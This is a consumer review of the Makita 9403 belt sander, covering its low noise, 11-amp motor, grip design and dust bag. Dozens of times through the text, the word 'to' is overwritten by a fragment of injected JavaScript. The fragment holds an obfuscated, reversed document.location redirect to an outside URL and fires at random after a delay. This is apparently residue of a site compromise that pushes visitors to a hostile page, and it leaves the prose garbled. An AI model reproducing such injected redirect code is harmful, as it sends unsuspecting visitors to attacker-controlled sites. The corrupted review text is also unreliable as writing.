Let’s start by saying that if you don’t already have a heavy-duty sander, the Makita 9403 should be the first model you consider. One single feature that supports this is a low noise level built intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to it’s design. Makita made it a point tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to engineer the quietest sander of this size, which makes it the right choice for indoor work as well as outdoor projects. But it has a lot more tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to offer than that.

Size and Power
The 9403 is not the biggest sander Makita makes, but it’s definitely in the heavy-duty class at 13 pounds and with an 11-amp motobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor. That’s a lot tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to hang ontobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to for long periods, so the Makita is a workhorse more suitable tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to larger horizontal projects like floors or furniture than wall work or small parts. The 4″ x 24″ belt means it’s taking off 0.75 square feet at a tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}touch. The 11-amp power makes it comparable tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to some larger, professional sanders, but the 9403 includes an easy variable speed dial so you can adjust its RPMs for the level you need.
Ergonomics
The 9403 has a simple box-like design, but includes a pistobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tol grip (with power trigger) at the back and a knob at the front for more control. It’s a shame that the front knob isn’t bigger; it seems undersized for the amount of pressure you can put on this sander. The pistobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tol grip, however, allows you tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to put some weight intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to it, yet is thoughtfully angled so that you can maneuver it more easily without undue stress on the hand and wrist. The forward end also slants down intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to a small, jutting nose so that you can use it flush in right angles, like right against the baseboard when sanding floors.
Dust Collection
The Makita 9403 comes with an 80-grit belt and a dust collection attachment. A small exhaust fan blows sawdust from under the blower intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to a cloth bag. On the plus side, the bag rotates easily so you can move it out of the way as needed; on the negative side, it’s a plain cloth bag, so it may not catch the smaller particles from higher, finer grits. Specially designed seals keep the dust out of the motobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor, but you should really be wearing a dust mask when you operate a sander like this.

Conclusion
Makita is known for smaller power tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tools, but with it’s power, the Makita 9403 would be welcome in a professional tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toolbox. It should be more than enough for the typical DIYer or home craftsman. It does so much, and is designed so well, that apart from a minor question mark or two, it will get your biggest, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toughest jobs done with no problem – with minimal noise and mess.
